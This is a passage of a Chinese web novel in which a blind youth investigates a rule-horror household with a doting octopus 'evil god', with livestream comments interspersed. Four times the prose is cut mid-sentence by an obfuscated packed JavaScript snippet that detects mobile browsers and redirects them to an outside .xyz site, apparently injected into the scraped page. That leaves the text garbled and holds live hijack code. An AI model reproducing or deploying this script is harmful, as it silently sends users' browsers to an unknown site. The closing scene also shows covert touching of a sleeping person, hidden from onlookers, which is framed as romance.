骗子,我又不是止疼药,怎么可能光是看着就不疼了,呜,爸爸好讨厌,如果没有爸爸,哥哥就不会受伤了,豆豆和包包就不会被&**&%$】 摸到最后是一堆乱码,宁小满皱起眉头,忙活了大半天,得到的汇报却远少于付出。 像这个文件夹给出的消息,只知道爸爸是个家暴男,日常打家人泄愤,这个从给出的规则中就能猜出来,算是一条重复线索或者说是佐证。 关键信息例如豆豆和包包怎么了却没有提及…… 宁小满心下微叹,寄希望于剩下的两件东西能给他带来足够的线索。 放下文件夹转而去摸钢笔,钢笔上也有盲文,当时急着排查他就没有细摸,所以并不知道钢笔上的字是什么……嗯? “望安,哥哥赠。”宁小满不自觉将字念了出来,“这口吻……” 没错的话,这笔应该是哥哥送给弟弟的。 那么问题来了,哥哥送给弟弟的笔为什么会在爸爸的卧室?难不成里面这钢笔除了表面的字还有其他他没有发现的? 宁小满百思不得其解的把玩着钢笔,想到什么,突然道:“塔尔,你帮我看一下这笔上有没有什么印上去的花纹。” 不是刻上去只是印上去,他并不能摸出来。 触手卷过钢笔凑到眼前,塔尔斯仔细观察了片刻后道:“有朵红色的花,花瓣是一条一条的,很长的枝干,绕着钢笔走了一圈,但枝干上没有叶子。” “应该是彼岸花。” 哥哥送弟弟的钢笔上带彼岸花,再结合规则5:哥哥很爱弟弟,会答应他的所有要求,爸爸妈妈害怕弟弟被宠坏将哥哥送到了封闭学校每周只有周日能够回来,宁小满突然有个很离谱的猜测—— 那就是哥哥爱弟弟,但不是亲人之间的爱,而是爱人之间的爱,封闭学校也不是学校,而是戒…… 猜测过于离谱,出现的一瞬间宁小满自己都被自己的猜测镇住了,放在桌上的手指摩擦过桌面,摊开在胸前:“谢谢塔尔帮我,现在把钢笔给我就好。” “给。” 拿到钢笔的同时宁小满还感觉手心被触手划拉了一下,不重,充满了挑逗意味,但…… “塔尔,种族不同是没有好结果的你明白吗?” 塔尔斯挠了挠下巴懒散地点了点头,“知道啊,满满突然说这个干嘛?” 宁小满抿了抿唇,还能干嘛,提醒你咱们两个不能在一块,在一块没有好下场呗,虽然从你的反应来看你根本get到就是了。 触手轻戳脸颊,塔尔斯语气中满是发现了新大陆的惊讶,“满满,你抿唇也有梨涡哎!” 被这么一说,宁小满干脆放弃抿唇板起了脸,“你都在关注什么啊!” “关注你……” “我要继续干活了,你不要说话。” 哇塞!好严肃、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030861|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好霸道、干活的样子好认真啊,他好喜欢! 塔尔斯眼睛一眨不眨的盯着宁小满,内心被以上话刷屏。 宁小满感受着身边灼热的目光不自在的动了一下,目光太热情了,总给他一种下一秒就会被吞吃入腹的感觉。 在灼热的目光下,手指摸探公文包的动作都在无形间加快了,只要探索完公文包就能借口去妈妈房间转移塔尔斯的视线。 快了、马上了,他已经摸到公文包内壁的盲文了,就差那么一点就要…… “叩叩——您点的外卖到了,请签收!咚咚咚!外卖到了,请尽快签收!咚咚咚——有人在吗?外卖!” 听着外边一声高过一声的催促,宁小满吓得身体一抖,塔尔斯摸了摸宁小满的脸安慰道:“没事没事,我点的外卖,你从早上醒来就没吃东西,我就在外卖软件上买了点吃的,你拿着这个,我拿了外卖就回来。” 说着,塔尔斯薅下一根触手塞到宁小满手中,临离开前索取报酬般在已经听傻了的宁小满侧脸亲了一口。 宁小满坐在椅子上攥着软乎乎的触手不知如何反应,塔尔斯怕他饿给他点外卖无疑是为他好,被外卖员吓到是他自己的问题,觉得他害怕自己去拿外卖也不错,但为什么要把自己的触手薅下来塞给他啊! 还有!这触手离体了怎么还在动啊! 攥着触手的默默用力,唯恐一个不注意把塔尔斯的八分之一弄丢。 塔尔斯游到门口打开门接过外卖诡手中的外卖,不等外卖诡拿出签收单就变大嗷呜一口将外卖诡吞了下去。 上下两排尖锐的牙齿咀嚼两下,有些嫌弃的吐了吐舌头,一股子柴油味,难吃,差评,下次再也不随便吃没有吃过的品种了。 一根触手探进虚空中掏呀掏,不一会卷了一个巴掌大小的手机出来,塔尔斯边打差评边往房间游去。 游到一半,整个章鱼蓦然顿住,就那么离不开他吗?攥他的触手攥那么紧…… 心情愉悦之下,塔尔斯顺手就删了刚打六个字的差评——外卖诡不好吃。 诡死账消,外卖诡他已经吃了,那态度不好和味道不好的事就这么过去吧。 塔尔斯在心中哼着诡异的小曲回到房间扑到宁小满腿上,提着外卖的两根触手后一步赶到将外卖袋放到桌上。 宁小满抬起左手慢慢塔尔斯不知道是哪的部位,右手往前递示意塔尔斯看:“你的触手怎么办?” “不重要,先吃饭。” “七根触手的样子,不好看吧?”宁小满迟疑了一会说道。 塔尔斯闻言开外卖的触手一顿,“触手可以再生。” 所以,请停止想象他七根触手的样子! “哦哦,”宁小满尴尬的摸了摸鼻尖,捏着触手转移话题道:“味道好香,你买了什么吃的?” “排骨汤、灌汤包、小米粥,早餐吃这些不错。” 塔尔斯想了想又补充道:“是去除诡气的套餐,可以放心吃。” “诡气?” 9. 四口之家 “久在怪谈世界中生活的,体内或多或少都会有一些诡气残留,不同的是,动物体内的诡气永远只能是诡气,诡异则因其规则的特殊性可以将体内的诡气修炼成诡力,满满你是人类,身体无法吸收诡力,若是吃多了带有诡力的东西很容易变成……” 塔尔斯想了好一会方才想出一个比较恰当的形容词,“变成一具尸体。” 嗯,虽然也没有好听到哪里去,但总比两脚羊、嘎嘣脆的小零食等称呼要好得多。 听完塔尔斯的解释宁小满明白了诡力对人类来说不是什么好东西,同时也明白了塔尔斯对他的照顾,想到塔尔斯格外喜欢贴贴和亲亲,为了感谢,宁小满捧起小章鱼放到脸前先是蹭了蹭他Q弹的身体后在上面亲了一口。 动作很轻柔,塔尔斯还没来得及细细感受一切就过去了。 隔靴止痒,不外如是。 塔尔斯站在桌上看着摸索着开始吃饭的爱人,歪头看了一会便黏黏糊糊的凑了上去。 感受到手边多了什么的宁小满探手去摸,手指伸过去被缠住,往回撤没撤成功,他不由无奈一笑,轻唤一声:“塔尔。” “咕噜!”喂我,我也要吃! “好,但你要先放开我的手。” “咕~” —— “饿了一天一夜的我看着直播突然就饱了。” “不敢置信的我退出去又进来,看着显眼的怪谈图标才终于敢肯定我看的不是什么恋爱直播了。” “现实没谈到的对象在规则怪谈谈到了,孩子命真好(狗头)。” “不儿,这可是人外啊!人外!大家就这么接受了?” “笑死,不接受你进去把他们分开?” “虽然我个人排斥人外,但是看着外国天选者拼死拼活吃不饱还找不到线索,咱们国家天选者舒舒服服就能找到线索,人外什么的,也不是不能接受。” 顾宛霜看着直播间的弹幕沉默半晌突然道:“老公,人外……” “老婆你别担心,肯定不是弹幕中说的那样,满宝就是看他一只章鱼可怜才对他那样的。” “其实,如果满宝可以不受罪通关怪谈的话,章鱼儿媳我也是能接受的,大不了就是家里面添一口缸的事。” 说这话时顾宛霜眼中满是认真,国外的直播她也有看,那些天选者真是拿命去填寻线索的坑或者拿命去试探规则真假,丢条胳膊腿是轻的,动辄被分尸都是常有的。 反观她家满宝,因为三星在,没受什么罪不说,还能在怪谈中吃口热乎的,光是这一点她就没什么好反对的了。 她这辈子就满宝一个孩子,不求他出息,只求他舒舒服服的活着…… 宁远安抬手环住顾宛霜的肩膀轻轻拍了拍,“放心,满宝肯定能好好出来的。” 顾宛霜顺着宁远安环着她的手臂靠到他肩上,没有说话,垂眸不知道在想些什么。 —— “满满,我想吃那个。” “哪个?我看不见,你自己拿着筷子夹可以吗?” 塔尔斯闻言眼睛一亮,忙不迭点头:“可以!” 塔尔斯接过递过来的筷子,夹住看中的大丸子递到宁小满嘴边,哄道:“满满,你尝尝这个好不好?” “这是什么?”宁小满后撤一点嘴角带着酱汁问道。 “丸子,很大很大的肉丸子,尝尝。” “嗯,”宁小满张嘴咬了一口,片刻,点了点头:“很好吃,等我把这个吃完你再……” “嗷呜!” “……夹新的。” “你把剩下的肉丸吃了?” 塔尔斯咀嚼着沾染了宁小满气味的肉丸,享受的眯起眼睛,边点头边道:“确实很好吃,满满再尝尝这个。” “不、不了,你先吃吧,等你吃完我再吃。” “满满不吃,那我也不吃了!哼!”塔尔斯说着把筷子往一边一甩,两根触手交叉着放在身前做环胸状。 “……我吃好了吧,我吃,别生气了。” 宁小满本来还想哄哄塔尔斯的,但塔尔斯不在他身上扒着站在桌上他没办法准确判断他在哪,外加桌上摆放着饭菜,他害怕把饭弄撒,遂只能放弃原来的想法。 一顿异常煎熬的喂饭过去,宁小满抱住扑到他怀中的塔尔斯,低头蹭了蹭塔尔斯,深吸一口气提议道:“昨天去了爸爸的房间,今天要去妈妈房间吗?” 塔尔斯懒散的翻了个身从下往上看着宁小满,不甚在意的打了个哈欠,“满满想去就去,不想去就去就歇着。” “我去。” “那走吧。” “挎包。”宁小满提醒道。 想想昨天窝在挎包中的感觉,再感受一下被抱着的感觉,塔尔斯不乐意了,“我不想进挎包,我想被满满抱着!” “没有盲杖,我的手要在前面确定有没有障碍物,抱着你的话不方便。” “我可以提醒满满!” 宁小满自然知道塔尔斯会提醒他,但不自己确定一下,他不放心啊! 无关信任与否,纯粹是他骨子里的不安感在作祟。 塔尔斯久没有听到回应,从宁小满怀中游走站在半空中,触手伸出刚想指指点点就见宁小满眼中闪过一丝难过之色,瞬间那些想好的恐吓人的话就被咽了下去。 单手挠了挠光滑的头,烦躁道:“盲杖长什么样。” “什么?” “盲杖长什么样!我给你变个出来,先说好,我不白帮忙,你要付报酬的,一个、哦不!两个亲亲!” 宁小满眨了眨眼,忽的莞尔一笑,“谢谢塔尔,我一定会支付报酬的。” “咳咳——好了,废话不多说,盲杖长什么样?” “盲杖的话,”说到这里宁小满突然意识到什么,顿了许久方才继续道:“颜色是白色?形状就跟棍子一样,长度的话,我惯常使用的是一米五左右的,材料……” “材料就不用说了,我有最好的。” 说着塔尔斯朝安分躺在书桌上的断肢摆了摆触手,断肢感应到本体的召唤飞奔而来,两秒后水灵灵的就变成了一根暗紫色的盲杖。 “满满,盲杖好了,试试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030862|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” 手中突然被塞过来一根盲杖,反应慢半拍的宁小满下意识应道:“好。” 新盲杖很好用,很轻,拿久了也不会手疼,但不知道是不是错觉,他拿着盲杖的手总是闪过若有似无的痒感。 就好像……就好像手下那块盲杖长了毛,随着他的使用不间断的摩擦着他的掌心。 “盲杖做好了,该给报酬了,嘿嘿,我准备好了,满满直接亲就行!” 无厘头的想法被塔尔斯索取报酬的声音打断,也很快被宁小满抛之脑后。 一只手拿着盲杖不方便抱,宁小满索性单手扶住塔尔斯的脑袋在上面亲了两口,亲完后拍拍光溜溜的大脑门笑盈盈道:“好了,去玩吧,我适应一下新盲杖。” “可恶,这种亲法是在哄小孩吗?”塔尔斯不满的撅着嘴小声哼唧。 在房间内适应了一会新盲杖,宁小满打开房门招呼不知道在哪的塔尔斯:“走了,快来。” “来了来了,满满接住我!” 宁小满张开手接住扑过来的塔尔斯,被塔尔斯带过来的冲力弄弯了腰,不过他并没有说什么,只是沉默的抱着塔尔斯出了门。 有了盲杖,碰到楼梯拐角这些地方不用塔尔斯提醒他也不害怕撞到什么了。 因着昨天上了一趟二楼,今天这趟说是轻车熟路也不为过,全程没用塔尔斯指路就来到了妈妈的房间门口。 推开妈妈的房门,迎面而来的是花香,不是一种花的香味,而是几种花杂糅在一块的香味,他说不清到底是什么香,但挺好闻的。 盲杖敲敲打打,确定入口处没有障碍物后宁小满抬脚踏入房门。 然后,很突兀的响起一声猫叫声,猫叫声转瞬即逝,快到让宁小满怀疑刚才那声猫叫声是不是自己精神过于紧绷而产生的幻觉。 “喵~喵呜?喵~” 一连几声猫叫声响起,宁小满终于确定刚才那声猫叫声不是自己的幻觉。 像是知道他发现了,猫叫声顿了顿后旋即接连不断的响起。 猫叫声来源于左边,宁小满转身朝左边走了两步又停下,“塔尔,你能打得过它吗?” “……我是邪神!神!” 他的新娘到底知不知道什么是邪神啊?是只要他在其他诡异面前露出真容其他诡异都要瞎的神啊! 里面那只猫,是他都不需要动手,只需要露出小小的触手尖就活不过两秒的存在,居然问他能不能打过,真是,呵——给他气笑了。 察觉到塔尔斯声音中暗藏的怒火,宁小满抿抿唇,果断道歉:“对不起,我不是觉得你打不过它,只是出于谨慎我比较喜欢在干什么事之前都确认一遍,没有针对你的意思,我十九年来都是这么过来的。” “哎呀——”塔尔斯烦躁的挠了挠没有一根头发的脑袋,尽量软下声音道:“不用道歉,我的问题,神格原因,我比较易怒,下次我再这样你直接敲我一盲杖,我保证恢复正常。” 普通盲杖没有这效果,他一部分身体做的盲杖却绝对能把他敲清醒。 “这算家暴吗?” 10. 四口之家 塔尔斯认真想了想道:“不算,你的力气太小,顶多算是给我挠痒痒。” 一个成年了的男人被说力气小是种什么感觉? 宁小满之前不知道,现在知道了,没有尴尬没有无语,有的只是平静,当然,也有可能是因为说这话的不是人才会这么平静。 “喵呜~” 等等,有点不对劲,猫叫声近了。 刚才的猫叫声听上去很微弱,且有被东西阻隔的感觉,现在的听上去却清脆了不少,就好像猫从关着它的地方跑了出来。 事实也正是如此,因着两人一直说话不进来,猫等不及,自己从浴室出来了。 包包眯着眼睛看向新来的人类,爪子在地上挠了挠,就是这个人类,放任它在浴室中叫到嗓子哑都没有进来,对动物如此没有同情心的人类肯定不是它的小主人。 塔尔斯冷眼看向打断他们两个谈话的猫,淡声提醒道:“咕噜。”猫出来了。 也该去死了。 “喵~呃嗷!嗷嗷嗷——” 宁小满听着不远处的凄厉的哀嚎声身子一抖,抱着塔尔斯的手不自觉发紧,喉咙干哑着问道:“塔尔,你动手了?” “不是我!”他是想动手来着,但那不是还没来得及…… “那它……” “哦哦呃……嗷! 为了洗清自己的嫌疑塔尔斯不得不认真观察正在惨叫的猫,“诅咒,复苏诅咒,每隔七天它就会复刻一次死时受到的折磨。” 从这猫连皮到毛一起脱落能看出,这猫是被剥皮活生生疼死或者失血过多死的,同理,从它清明的眸子中也能看出这诅咒是他主动触发的,什么目的暂且不知。 “满满,你后退一些观察,我总感觉这猫不怀好意。” “好。” 宁小满自知他对诡异的了解不如塔尔斯,所以在有关诡异这方面的事从来不和塔尔斯打别,别说现在只是让他后退了,就算是让他放弃搜寻妈妈的房间扭头就跑他也不带一丝迟疑的。 包包看着不进反退的宁小满眼中闪过一抹红光,嘴中继续哀嚎,掉落的皮毛却在一点点长回。 “喵嗷!” “啪——砰!” 塔尔斯一触手扇飞扑过来的包包,“霸道的杀人规则,你用,可惜了。”但凡给个实力强劲点的诡异能卡人类百八十条命。 包包把自己从墙中抠出来,弓起身子盯着宁小满哈气,心中盛满了不解,不过一个人类,到底是怎么把它扇飞的? 两根触手在头顶交叠学着人类的样子伸了个懒腰,“满满,松手,我把它解决了你再探索房间。” “小心。” 塔尔斯没回话,而是径直冲了出去,因为他实在是不知道一只还没有他本体吸盘大的小家伙有什么好让他小心的。 塔尔斯三下五除二解决了猫灵窝回属于自己的位置,顺带着用触手掩嘴懒懒的打了个哈欠,“安全了,玩吧。” “……没有玩,我是在找线索。” “满满,线索找不找无所谓的,总归以后有我护着你。” 宁小满抿了抿唇没说话,握着盲杖的手收紧,沉默着敲敲打打往屋内走去。 他很小的时候就知道世界上除了父母没有无缘无故的爱,却会有无缘无故的恨,他和塔尔斯到现在不过将将认识两天,却在塔尔斯口中听到了‘以后’这两个字。 浓厚的荒谬感袭上心头,令宁小满不知道该如何是好,只能沉默着去寻找线索。 妈妈的房间不大,除了墙角的浴室和靠墙摆放的床就只有衣柜一个像样的家具。床上被子堆叠的很整齐,摸过后并没有什么线索,衣柜同样。 二十分钟后,宁小满站在浴室门口推开浴室门,一股血腥味扑鼻而来,冲淡了房间内腻人的花香,揭开了遮掩残忍的面纱。 宁小满屏住呼吸迈进浴室,普一落脚就是一顿,脚下的触感黏黏糊糊的,结合扑鼻的血腥味地上是什么东西不言而喻。 他强忍着干呕感一点一点前进,拿着盲杖的手一刻不停的摸索着浴室墙壁上的瓷砖。 见他这样,塔尔斯没忍住叹了一口气,“难受就出去吧。” 没有回应,塔尔斯隔了两秒后又道:“我能够感觉到在我说完那句话后你就在生气,能告诉我为什么吗?” 总不能因为说以后要护着他而生气吧?如果是这个,塔尔斯只能说不理解、也不尊重。 要知道他的承诺旁的那些可是求都求不来的,如今他轻而易举就给了他的新娘,他的新娘因为这个合同生气的话,这世界已经不是一句荒谬能概括的了。 这样想的塔尔斯选择性忽视了祭祀他的人都是找他杀人的,并没有找他求承诺的,毕竟邪神本身就是不守信用的代言神,谁找他求承诺谁是傻B。 漫长的两分钟过后,塔尔斯从宁小满怀中挣脱出来飘在半空中问道:“你为什么不说话?” 怀中少了个拖后腿的,能用两只手探索的宁小满速度都快了不少。 照例,依旧是没有回应。 八根触手在空中胡乱飘飞,一副快要走火入魔的模样。 —— “事实证明,三星受不了冷暴力。” “事实证明,邪神面对冷暴力也没辙。” “哈哈哈,笑死,传下去,邪神被冷暴力冻死了。” “好嘞,传下去,邪神被冷死了。” “满宝但凡能看见三星现在的样子都不能这么平静的干下去。” “要我说,三星还是太小气了,满宝才十九岁,他一个不知道多少岁的老诡照顾着点怎么了?怎么了!” —— 塔尔斯红着眼盯着宁小满,身体都气的涨大了两倍,“满满!我要……” “嘘——别吵,我正在忙,一会回房间再聊。” 生气了,被打断而没有说出来的三个字被塔尔斯咽回肚中,好好的邪神都快被憋疯了。 “呼——呼——呼……” “塔尔。” “我没有说话!满满你总不能因为我呼气声重就连呼吸都不让我呼吸了吧?” 宁小满闻言一愣,旋即摇了摇头,“让呼吸的。” 没有听到不想听的话,塔尔斯满意点头:“算你还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030863|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点良心,对了,你刚才叫我干嘛?” “这里我看完了,想再去爸爸房间看看,”宁小满想了想又加了句:“可以吗?” “可以,但我要你抱着我。” 宁小满轻笑一声张开手,“过来吧。” 看着宁小满张开的手臂,塔尔斯扭了扭触手,内心思索就这么过去会不会太丢邪神的范,要不要佯装欲拒还迎一番再过去…… “不来吗?” 啧,邪神的范什么样邪神说了算,不管了,塔尔斯眼睛一闭一睁果断道:”来!” 感受到怀中突然一重,宁小满无声扬起唇角,抱着塔尔斯离开了妈妈的房间。 行走间,塔尔斯用触手环住宁小满的脖子抬高身子蹭了蹭他的脖子,小声哼唧道:“不知道为什么,总感觉满满跟刚才不一样了,不过我都很喜欢就是了。” “我也很喜欢塔尔。”宁小满轻笑着侧脸蹭了蹭塔尔斯,心想他不过刚想开一点塔尔斯就察觉到了,真是……令人惊叹的直觉。 “喜欢我……”塔尔斯自下而上愣愣的看着宁小满的下巴。 “对啊,我很喜欢塔尔。” 塔尔斯因为这句话开心了两秒就恢复了平时的冷静,他冷眼看着宁小满的下巴心想:骗子,嘴上说着喜欢他,心里面却没有一丝波动。 没有听到塔尔斯的回话宁小满也不在意,抱着塔尔斯去爸爸房间浴室转了一圈,印证了自己心中猜想后下楼回了自己的房间。 回到房间,宁小满将盲杖放到一边,塔尔斯放到床上,拿出笔记本和敲打盲文的工具坐到书桌前开始记录他发现的新规则和线索。 首先,是妈妈的规则,妈妈的规则很少,只有两条:一是关爱家人,二是听从爸爸的命令。 很少,却直接把妈妈整个人嵌在了家这个框架中。 其次,是爸爸的规则,爸爸的规则更少,只有一条——赚钱养家。 这个规则就很松泛了,毕竟赚一分钱是赚赚几亿也是赚,端看规则运用者怎么想了。 最后就是从他得到的那些线索看:规则二是假规则,他如果受尽宠爱爸爸妈妈不可能一口一个坏孩子叫他。 规则三也很好理解了爸爸是家暴男,没有把握的反抗只会引发更大的暴力,所以规则三才会让他忍受爸爸的情绪。 规则四和妈妈的规则对应,正确。 规则五只有一个关系不纯的判断,暂且存疑,也有可能是他判断错误,哥哥对弟弟就只是家人之间的感情。 规则六完全错误,家里面有狗也有猫,猫是爸爸养的,叫包包,狗是妈妈养的,叫豆豆,不知道发生了什么,妈妈杀了爸爸的猫,爸爸杀了妈妈的狗,证据就是两人浴室低处动物挣扎留下的抓痕以孩童口吻所留下的盲文。 规则七应该是假规则,因为昨天晚上的饭菜还在桌上,但今天却什么都没有发生。 规则八就更简单了,一个极端的家庭只需要乖孩子。 就此,所有线索记录完毕,规则也各有判断。 宁小满放下敲打的工具揉了揉手腕,偏头唤道:“塔尔,塔尔?你在吗?” 11. 四口之家 塔尔斯六只触手扒在墙上两只触手环在胸前,豆豆眼看着偏头朝后唤他对爱人冷哼一声,阴阳怪气的开口回道:“不在呢~” “噗哧——生气了?过来让我抱抱。”宁小满扭过头朝后声源地张开双手。 尽管塔尔斯拼命告诉自己不能那么没骨气,但是看着宁小满张开的怀抱还是没忍住扑了过去。 窝在爱人怀中还不忘为自己强行挽尊,“我这是给你面子才过来的,我气可还没消,我告诉你,如果你不哄我,今天晚上我就不给你点外卖了!” “好好好,哄你,哄你——muma!” 宁小满低头在塔尔斯头上亲了一口,亲完不等塔尔斯反应过来就道:“一个够不够?不够的话再给你来一个。” “咳,那、再来一个吧。” “muma!” “再来一个。” “好~” 被亲了大概有四、五下后塔尔斯是彻底生不起来气了,举起触手固定住宁小满的脸在他鼻尖亲了一下,旋即很欠揍的道:“骗你的,你不亲我也会给你点外卖。” “我亲你不是为了吃的,是因为喜欢你。” “真的?” 宁小满点点头,“真的。” 毕竟谁会不喜欢一只又能护主又能提供情绪价值的小章鱼宠物呢? 刚才他即是在整理线索也是在思索他跟塔尔斯之间的关系,塔尔斯说的新娘论他肯定不认同的,进入规则怪谈中塔尔斯救了他好几次,他对塔尔斯有感激之情但没有爱情。 面对跟他求爱的塔尔斯他是苦恼的,因为他没办法给他回应。 但不一会他就发现,如果单纯把塔尔斯摆放在同伴或者宠物的位置上,他输出感情会顺畅很多。 所以,他就干脆暂时将塔尔斯放到了同伴/宠物的位置上,至于后边他们两个的感情会不会变质,他说不准也不敢立什么flag。 单是把有独立思维的塔尔斯放到宠物的位置上就够他良知喝一壶了,再立个flag,他还不如继续纠结塔尔斯的新娘论呢! 听到宁小满说真的塔尔斯先是欣喜,后感应了一下他心中的情绪瞬间恢复平静,张嘴衔住刚才亲过的地方用尖锐的牙齿磨了磨,看着宁小满无神的眼睛无声道:“骗子。” “唔、别磨,痒。” 痒?痒就对了! 胆大包天的大骗子,骗了邪神一次不够后还骗了第二次,目测以后还会有第三次…… 叹口气,那又能怎么办呢,新娘骗就骗了吧,谁让他是他的新娘呢? “咚咚咚——外卖!” “外卖到了,我去拿。” “好哦,快去快回。” 塔尔斯离开后,宁小满拉开书桌抽屉将用过的东西往里面放,为一会吃饭做准备,笔记本连带着一些杂七杂八的东西往里面一堆,往外抽手时手背不经意蹭过抽屉上方,要出来的手当场就顿在了原地。 这触感,好像是盲文……翻转手背,用指腹细细摸了一遍,宁小满确定这些一个个的小凸就是起盲文! 从左往右:我我我我、喜喜喜喜…… 不对,方向不对,应该是从上往下,从上往下——我喜欢哥哥。 摸出来是什么字后宁小满呆愣当场,万万没想到刚才还存疑的地方现在就得到了证实,他本来还以为要等到周日哥哥回来才能……停一下!今天是周几? 塔尔斯触手拎着头上顶着外卖晃晃悠悠进了房间,一边努力游一边为自己邀功道:“满满,我买了好多种类的菜,里面肯定有你喜欢吃的,你闻!” “塔尔,周几?今天周几?” “周二啊,怎么了?” 今天是进入怪谈的第二天,也是周二,通关副本需要七天,也就是说,通关那天哥哥肯定在家,那么问题来了,在互相有情的情况下,哥哥会让天选者占据他弟弟的位置? 不,肯定不会,所以在天选者心怀期待以为终于来了个友军时,很有可能迎面就是一个暴击。 他这边有塔尔斯在不用担心,其他地方么,就危险了。 在宁小满出神的空档塔尔斯已经将所有外卖拆了出来,跟成年人双臂张开一样长、一臂宽的书桌此刻堆满了吃食,不拘什么种类,色彩是一应的鲜艳。 “咕噜——咕噜——” 闻着空气中属于饭菜的香味肚子自发叫起来,宁小满从自己的思绪中回过神满脸窘迫的捂住肚子,不好意思的低下头。 “尝尝这个,我超喜欢这个的,满满要是也喜欢的话以后咱们就多点。” 嘴唇被热乎乎的肉块抵住,香味止不住的往鼻尖钻,宁小满咽了咽口水,后撤一点道:“我自己…唔!” “吃吧吃吧,超好吃的!我保证不骗你!” 嚼嚼努力咽下,还没来得及说话又一块肉被塞了进来,宁小满无奈,只能继续努力咀嚼。 看着爱人吃自己亲手喂的东西无疑会生出一股自豪感,并且这股自豪感会促使你接连不断的喂下去,简单来说就是——越喂越想喂。 不巧,塔尔斯现在就处于这么一个阶段,还有了升级,他不止越喂越想喂,他还越喂越兴奋! 宁小满腮帮子嚼到生疼、吃到想吐,无奈塔尔斯根本就没给他说话的机会,只能在吃下一筷子炒青菜后立马抬手捂住嘴以防止下一筷子进来。 咽下嘴中的青菜,手捂着嘴张嘴说话,“我饱了。” “饱了吗?我摸摸。” 说着,塔尔斯伸出一根触手以掩耳不及迅雷之势从衣服下摆钻进去在吃的滚圆的肚皮上摸了一把,“嗯,好像确实饱了。” “是吧是吧。”宁小满眼巴巴的点头。 “那就不吃饭了,把这碗汤喝了吧。” “……不要了吧。”他真的真的快要被撑死了。 塔尔斯观察了一下宁小满的脸色,确定他是真的很为难外加刚才摸到的肚子确实鼓了起来,便勉强点头道:“那算了。” 听到算了的一瞬间宁小满由衷的松了一口气,不夸张的说,刚才他好像回到了小时候满地打滚不吃饭然后被无情镇压的时候,他是真怕塔尔斯一根触手按着他一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030864|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触手把汤给他灌下去,好在塔尔斯并没有那么做。 饭后半小时,宁小满在塔尔斯盘踞的浴室洗完澡换了身睡衣就上了床。 不出意料的是,在看到塔尔斯变大把整个浴室遮住时直播间弹幕骂声一片。 从浴室出来塔尔斯并没有变回原来的大小,只是缩小到了触手均一米五时就停下了变小。 昨天晚上睡宁小满一个人由显空荡的床,在多了一只一米五的章鱼硬生生被衬出了一丝拥挤。 粗大的触手隔着一层被子搭在圆鼓鼓的肚子上轻揉着,“这样肚子胀会好些吗?” “嗯。”宁小满难受的皱着眉头应了一声。 揉了一会,塔尔斯突然道:“对不起,我把你养的很差。” 听到塔尔斯这么说,宁小满诧异的睁开眼睛,“为什么这么说?” “吃饭时没有关注你,只一味的喂饭,让你吃撑了很难受。” “这个不算什么吧,”宁小满蹭了蹭枕头随意道:“我不是一、两岁不知道怎么反馈自己情况的小孩,我是一个成年人,所以吃撑这件事怪不到你身上,要说问题,我是全责,因为我没有及时反馈外加制止你的行为。” “不能这么算的。”塔尔斯揉肚子的触手一顿,小声反驳道。 “好啦~我本人都不介意,你也别想这个了,早点睡吧,晚安。” “……晚安。” 听到这隔了好大一会才传来的晚安宁小满勾起唇角,身体往前挪了挪抱住塔尔斯一直在给他揉肚子的触手,在心中又道了一遍晚安方才开始酝酿睡意。 塔尔斯触手被抱住的一瞬间屏住呼吸,接着黑暗隐藏看向爱人的脸,看着看着眸中闪过一抹贪婪之色,一缕黑气自他身上飘出,又在半空中扩散开来,形成了一副直播间观众能够看到的幻象。 幻象中,仅仅只是他帮忙揉肚子的画面。 而幻象之下,却是数根触手齐动,根有思想一样粉粉朝着自己看好的地方爬去。 爬动过程中他的头也没闲着,凑到宁小满脸变轻嗅两下,又试探性的舔了舔,只觉这触感比他之前吃过的所有灵魂都要Q弹。 说到灵魂,塔尔斯回想自己以往吃过的灵魂味道:苦的、咸的、辣的、酸的……那么多口味,独独没有甜的。 